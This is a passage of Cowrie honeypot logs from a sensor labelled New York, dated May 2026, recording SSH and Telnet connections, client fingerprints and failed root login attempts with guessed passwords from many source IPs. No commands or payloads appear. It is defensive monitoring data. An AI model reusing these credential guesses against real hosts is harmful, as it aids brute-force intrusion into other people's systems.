{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":53742,"dst_ip":"10.17.0.5","dst_port":22,"session":"bec3a4399376","protocol":"ssh","message":"New connection: 46.19.67.181:53742 (10.17.0.5:22) [session: bec3a4399376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:27:56.905844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:27:56.909815Z","src_ip":"46.19.67.181","session":"bec3a4399376","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:27:57.027538Z","src_ip":"46.19.67.181","session":"bec3a4399376","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:27:57.381514Z","src_ip":"46.19.67.181","session":"bec3a4399376","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:27:58.503059Z","src_ip":"46.19.67.181","session":"bec3a4399376","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":58942,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fb28d7127ab","protocol":"ssh","message":"New connection: 103.173.227.57:58942 (159.203.135.109:22) [session: 6fb28d7127ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:28:06.609393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:28:06.614412Z","src_ip":"103.173.227.57","session":"6fb28d7127ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:28:06.850917Z","src_ip":"103.173.227.57","session":"6fb28d7127ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52136,"dst_ip":"10.17.0.5","dst_port":23,"session":"560ad41fcc5f","protocol":"telnet","message":"New connection: 192.119.13.58:52136 (10.17.0.5:23) [session: 560ad41fcc5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:28:07.264683Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"support","message":"login attempt [root/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:28:07.560354Z","src_ip":"103.173.227.57","session":"6fb28d7127ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:28:08.798831Z","src_ip":"103.173.227.57","session":"6fb28d7127ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57112,"dst_ip":"10.17.0.5","dst_port":23,"session":"a13251a843f3","protocol":"telnet","message":"New connection: 192.119.13.58:57112 (10.17.0.5:23) [session: a13251a843f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:28:33.569798Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":59764,"dst_ip":"10.17.0.5","dst_port":22,"session":"58bbee3aeab9","protocol":"ssh","message":"New connection: 176.65.148.108:59764 (10.17.0.5:22) [session: 58bbee3aeab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:28:35.803450Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:28:35.889137Z","src_ip":"176.65.148.108","session":"58bbee3aeab9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":59770,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1aa653386a7","protocol":"ssh","message":"New connection: 176.65.148.108:59770 (10.17.0.5:22) [session: e1aa653386a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:28:35.967085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:28:35.973230Z","src_ip":"176.65.148.108","session":"e1aa653386a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:28:36.055116Z","src_ip":"176.65.148.108","session":"e1aa653386a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37670,"dst_ip":"10.17.0.5","dst_port":23,"session":"b99e034221d1","protocol":"telnet","message":"New connection: 192.119.13.58:37670 (10.17.0.5:23) [session: b99e034221d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:28:36.156380Z"}
{"eventid":"cowrie.login.failed","username":"a3","password":"a3","message":"login attempt [a3/a3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:28:36.303365Z","src_ip":"176.65.148.108","session":"e1aa653386a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:28:37.387536Z","src_ip":"176.65.148.108","session":"e1aa653386a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0016725063324,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:28:38.860548Z","src_ip":"138.99.247.148","session":"d067a77f8f93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00354266166687,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:28:41.781148Z","src_ip":"138.99.247.148","session":"b4981a2c8c8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.175140380859375,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:28:42.439698Z","src_ip":"192.119.13.58","session":"560ad41fcc5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00168514251709,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:28:42.511256Z","src_ip":"138.99.247.148","session":"e9e8c378d08a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.146671772003174,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:28:45.025097Z","src_ip":"186.195.16.41","session":"89b15b9d09bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":58548,"dst_ip":"159.203.135.109","dst_port":22,"session":"4cc9e2c43fb8","protocol":"ssh","message":"New connection: 103.176.20.57:58548 (159.203.135.109:22) [session: 4cc9e2c43fb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:29:05.032857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:29:05.038653Z","src_ip":"103.176.20.57","session":"4cc9e2c43fb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:29:05.288081Z","src_ip":"103.176.20.57","session":"4cc9e2c43fb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"father","message":"login attempt [root/father] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:29:06.052872Z","src_ip":"103.176.20.57","session":"4cc9e2c43fb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:29:07.304022Z","src_ip":"103.176.20.57","session":"4cc9e2c43fb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.99024510383606,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:29:14.146498Z","src_ip":"192.119.13.58","session":"b99e034221d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.85584378242493,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:29:23.425534Z","src_ip":"192.119.13.58","session":"a13251a843f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58416,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4112073b0bb","protocol":"telnet","message":"New connection: 192.119.13.58:58416 (10.17.0.5:23) [session: b4112073b0bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:29:33.654074Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40938,"dst_ip":"10.17.0.5","dst_port":23,"session":"120274a3fa26","protocol":"telnet","message":"New connection: 192.119.13.58:40938 (10.17.0.5:23) [session: 120274a3fa26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:29:43.924259Z"}
{"eventid":"cowrie.session.closed","duration":120.0014443397522,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:29:48.768492Z","src_ip":"186.195.16.41","session":"5ea20daee6c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":43624,"dst_ip":"10.17.0.5","dst_port":22,"session":"aee9dc478ee9","protocol":"ssh","message":"New connection: 147.45.197.250:43624 (10.17.0.5:22) [session: aee9dc478ee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:30:14.073721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:30:14.079524Z","src_ip":"147.45.197.250","session":"aee9dc478ee9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:30:14.176809Z","src_ip":"147.45.197.250","session":"aee9dc478ee9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":48131,"dst_ip":"159.203.135.109","dst_port":23,"session":"050ada0b4740","protocol":"telnet","message":"New connection: 186.195.16.41:48131 (159.203.135.109:23) [session: 050ada0b4740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:30:14.384849Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"pdtplf","message":"login attempt [root/pdtplf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:30:14.469678Z","src_ip":"147.45.197.250","session":"aee9dc478ee9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:30:15.566887Z","src_ip":"147.45.197.250","session":"aee9dc478ee9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.04728603363037,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:30:15.971418Z","src_ip":"192.119.13.58","session":"120274a3fa26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":42604,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf468dadfe7e","protocol":"ssh","message":"New connection: 103.77.175.15:42604 (159.203.135.109:22) [session: cf468dadfe7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:30:27.011514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:30:27.016461Z","src_ip":"103.77.175.15","session":"cf468dadfe7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:30:27.270744Z","src_ip":"103.77.175.15","session":"cf468dadfe7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ghbdtnghbdtn","message":"login attempt [root/ghbdtnghbdtn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:30:28.032487Z","src_ip":"103.77.175.15","session":"cf468dadfe7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:30:29.288890Z","src_ip":"103.77.175.15","session":"cf468dadfe7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.8159875869751,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:30:30.469920Z","src_ip":"192.119.13.58","session":"b4112073b0bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":52194,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2e04aec078e","protocol":"ssh","message":"New connection: 37.233.85.71:52194 (10.17.0.5:22) [session: c2e04aec078e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:30:38.677598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:30:38.682717Z","src_ip":"37.233.85.71","session":"c2e04aec078e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 